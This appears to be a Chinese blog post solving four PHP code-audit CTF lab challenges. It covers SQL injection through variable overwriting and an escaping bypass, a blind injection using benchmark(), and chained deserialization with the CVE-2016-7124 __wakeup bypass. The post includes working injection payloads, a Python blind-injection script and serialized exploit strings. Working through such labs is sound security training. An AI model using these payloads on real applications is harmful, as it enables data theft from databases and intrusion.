PHP-Audit-Labs題解之Day9-12
大家好,我們是紅日安全-程式碼審計小組。最近我們小組正在做一個PHP程式碼審計的專案,供大家學習交流,我們給這個專案起了一個名字叫 ofollow,noindex"> PHP-Audit-Labs 。在每篇文章的最後,我們都留了一道CTF題目,供大家練習。下面是 Day9-Day12 的題解:
Day9題解:(By 七月火)
題目如下:
實際上這題是以齊博CMS的漏洞為原型改造的,讓我們具體來看一下漏洞是如何產生的。題目提供了一個留言版功能,並且對使用者提交的留言進行 HTML實體編碼轉換 、 特殊字元轉義 、 違禁詞過濾 等處理,然後直接與sql語句進行拼接操作(下圖第5行),具體程式碼如下:
這些轉換函式都可以在 function.php 檔案中找到,我們很明顯可以看到在第16-19行處進行了全域性變數註冊,這樣就很容易引發變數覆蓋問題。在第14行處定義了需要替換的違禁詞陣列,並在 replace_bad_word 函式中進行替換。這裡,我們便可以通過覆蓋 $limit_words 陣列,來逃逸單引號,因為在 index.php 檔案中使用了 addslashes 函式。
我們使用第一個 payload 如下:
msg=1%00' and updatexml(1,concat(0x7e,(select * from flag),0x7e),1))#&limit_words[\0\]=
這樣我們便注出了flag,但是這裡的flag並不齊全,因為 updatexml報錯 最多隻能顯示 32位 ,所以下面我使用 reverse 函式注出尾部資料。當然方法不止這一種,大家自己舉一反三。
msg=1%00' and updatexml(1,concat(0x7e,(select reverse(flag) from flag),0x7e),1))#&limit_words[\0\]=
Day10題解:(By 七月火)
題目如下:
本次題目源於某CMS 0day 漏洞改編。很明顯可以看到在上圖程式碼 第29行 處進行了 SQL 語句拼接,然後直接帶入資料庫查詢。而在前一行,其實是有對 GET 方式傳來的引數 id 進行過濾的,我們來詳細看看過濾函式 stophack 。
我們可以清楚的看到 stophack 函式存在 過濾不嚴 和 檢測到非法字元未直接退出 兩個問題。
程式如果檢測到非法字元或單詞,都會將其替換成字串 HongRi ,然而並沒有立即退出,這樣攻擊者輸入的攻擊語句還是會繼續被帶入資料庫查詢。只不過這裡關鍵詞都被替換成了字串 HongRi ,所以我們需要繞過這裡的黑名單。縱觀整個程式,當 SQL 語句執行出錯時,並不會將錯誤資訊顯示出來,所以此處應為盲注。開發者估計也是考慮到這個問題,便將關鍵詞 sleep 給過濾了,然而這並不能影響攻擊者繼續使用盲注來獲取資料。關於禁用了 sleep 函式的盲注,大家可以直接參考這篇文章: mysql 延時注入新思路 。這裡我直接利用 benchmark 函式來獲取flag。python程式如下:
import sys, string, requests version_chars = ".-{}_" + string.ascii_letters + string.digits + '#' flag = "" for i in range(1,40): for char in version_chars: payload = "-1 or if(ascii(mid((select flag from flag),%s,1))=%s,benchmark(200000000,7^3^8),0)" % (i,ord(char)) url = "http://localhost/index.php?id=%s" % payload if char == '#': if(flag): sys.stdout.write("\n[+] The flag is: %s" % flag) sys.stdout.flush() else: print("[-] Something run error!") exit() try: r = requests.post(url=url, timeout=2.0) except Exception as e: flag += char sys.stdout.write("\r[-] Try to get flag: %s" % flag) sys.stdout.flush() break print("[-] Something run error!")
Day11題解:(By licong)
這道題主要考察對php反序列化函式的利用,以及常見的繞過方法。
訪問 flag.php ,顯示禁止訪問,題目預設顯示原始碼,在下圖 程式碼57行 ,資料庫查詢內容不為空的情況下,定義常量 IN_FLAG ,猜測需要滿足該條件才能訪問 flag.php 。然後呼叫 loadData 函式。
loadData函式,對傳入引數進行判斷,如果驗證通過,則作為引數傳入到反序列化函式,驗證不通過返回為空,該判斷繞過可參考Day11,傳入內容來源於資料庫查詢結果,此時可考慮如何構造資料庫查詢結果。
在 index.php 頁面顯示原始碼中,我們發現 SoFun 類,如下圖,在 __destruct() 函式中,會對類變數 $this->file 所對應的檔案進行包含,類變數反序列化可控,在 loadData 函式呼叫前,對 IN_FLAG 常量進行了設定,如果 loadData 函式傳入引數值為 SoFun 類反序列化字串,且控制類變數 $this->file=flag.php ,則可以包含flag.php檔案,此時 ‘IN_FLAG’ 已經設定,可獲取到flag,需考慮繞過 __wakeup 函式。
考慮如何控制 loadData 函式傳入引數的值,從下圖可知, $obj->role 來源於資料庫查詢結果,而構建sql語句的username欄位來源於 $username , $username 變數來源於 func_get_args()函式 ,該函式返回包含呼叫函式引數列表的陣列,如果 login() 函式傳入引數可控,可通過 union聯合查詢 ,構造查詢結果,使構造資料為SoFun類序列化字串。我們去看一下login函式的呼叫。
在 HINCON 類 __destruct 方法中,通過 call_user_func_array() 函式呼叫login或source方法,如果 $this->method=’login’ 則可以呼叫 login() 函式, $this->method 為類變數,反序列化可控。 $this->args 為呼叫函式傳入引數,意味著login函式中$username變數可控,此時可通過SQL注入,構造查詢資料。
在進行反序列化時,會呼叫 __wakeup 對類變數args進行處理,此時呼叫 mysql_escape_string 函式對 $this->args 進行轉義。可通過 CVE-2016-7124 ,序列化字串中,如果表示物件屬性個數的值大於真實的屬性個數時就會跳過 __wakeup 的執行。繞過檢測,進行sql注入。
總結一下思路:
1.構造 HITCON 類反序列化字串,其中 $method=’login’ , $args 陣列’username’部分可用於構造SQL語句,進行SQL注入,’password’部分任意設定。
2.呼叫 login() 函式後,利用 $username 構造聯合查詢,使查詢結果為 SoFun類 反序列化字串,設定 $file=’flag.php’ ,需繞過 __wakeup() 函式。
3.繞過 LoadData() 函式對反序列化字串的驗證,參考Day11。
4.SoFun類 __destruct() 函式呼叫後,包含flag.php檔案,獲取flag,需繞過 __wakeup()函式 。
第二個答案是另一種思路,大家可研究一下。
注:因為傳參方式為GET,注意進行URL編碼。
參考答案:
O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:81:"1' union select 1,2,'a:1:{s:2:"xx";O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'%23";s:8:"password";s:3:"234";}} O:5:"SoFun":1:{s:4:"file";s:8:"flag.php";} a:1:{s:2:"xx";O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}
O:5:"SoFun":3:{s:4:"file";s:8:"flag.php";s:2:"ff";O:6:"HITCON":5:{s:6:"method";s:5:"login";s:4:"args";a:2:{i:0;s:12:"1' or '1'--+";i:1;s:3:"111";}s:4:"conn";N;}}
Day-12題解:(By l1nk3r)
題目如下:
從程式碼 第27行 很明顯,這道題考查sql注入,但是這裡有兩個考察點,我們分別來看一下。
第一部分
第23行和 第24行 針對 GET 方式獲取到的 username 和 password 進行了處理,處理函式為 clean 。該函式在 第16-20行 處定義,函式的主要功能就是使用 htmlentities 函式處理變數中帶有的特殊字元,而這裡加入了 htmlentities 函式的可選引數 ENT_QUOTES ,因此這裡會對 單引號 , 雙引號 等特殊字元進行轉義處理。由於這裡的注入是字元型的,需要閉合單引號或者逃逸單引號,因此這裡需要繞過這個函式。我們可以通過下面這個例子觀察 clean 函式的處理效果:
題目 第36行 是進入資料庫查詢,並且返回 name 列欄位的值。而這裡的sql語句是這樣的:
$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
那我們如果輸入的 username 是 admin , password 是 admin ,自然就構成了正常要執行的sql語句。
這道題的問題就在於可以引入反斜槓,也就是轉義符,官方針對 轉義符 是這麼解釋的。
比如,如果你希望匹配一個 “ “ 字元,就需要在模式中寫為 `\ `。 這適用於一個字元在不進行轉義會有特殊含義的情況下。
這裡我們看個簡單的例子理解一下這個轉義符號。
轉義符號會讓當前的特殊符號失去它的作用,這道題由於可以引入反斜槓,也就是轉義符號,來讓
$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
username後面的 ‘ 失效,只要這個 ‘ 失效,就能閉合 pass= 後面的 ‘ 。最後組合的payload就如下圖所示
所以實際上目前 name 的值是 admin\‘ AND pass= ,這時候 password 的值是一個可控的輸入點,我們可以通過這個值來構造 sql 的 聯合查詢 ,並且註釋掉最後的 單引號 。
最後我們看看在mysql中執行的結果。
第二部分
好了第一部分我們其實已經成功構造好了payload,但是回頭來看看題目,題目 第6行 到 第16行 有兩個正則表示式,作用就是如果引數中帶有 or、and 、union 等資料,就退出,並輸出 Attack detected!!!
這裡當然我們可以正面硬剛這個正則表示式。但是這裡我們來聊一個比較有趣的解法。
我們看到是通過 request 方式傳入資料,而php中 REQUEST 變數預設情況下包含了 GET , POST 和 COOKIE 的陣列。在 php.ini 配置檔案中,有一個引數 variables_order ,這引數有以下可選專案
; variables_order ;Default Value: "EGPCS" ;Development Value: "GPCS" ;Production Value: "GPCS"
這些字母分別對應的是 E: Environment , G:Get , P:Post , C:Cookie , S:Server 。這些字母的出現順序,表明了資料的載入順序。而 php.ini 中這個引數預設的配置是 GPCS ,也就是說如果以 POST 、 GET 方式傳入相同的變數,那麼用 REQUEST 獲取該變數的值將為 POST 該變數的值。
我們舉個簡單的例子方便大家理解:
我們可以看到這裡的 post 方式傳入的資料覆蓋了 get 方式傳入的資料,因此這裡最後的payload如下:
總結
我們的專案會慢慢完善,如果大家喜歡可以關注 PHP-Audit-Labs 。大家若是有什麼更好的解法,可以在文章底下留言,祝大家玩的愉快!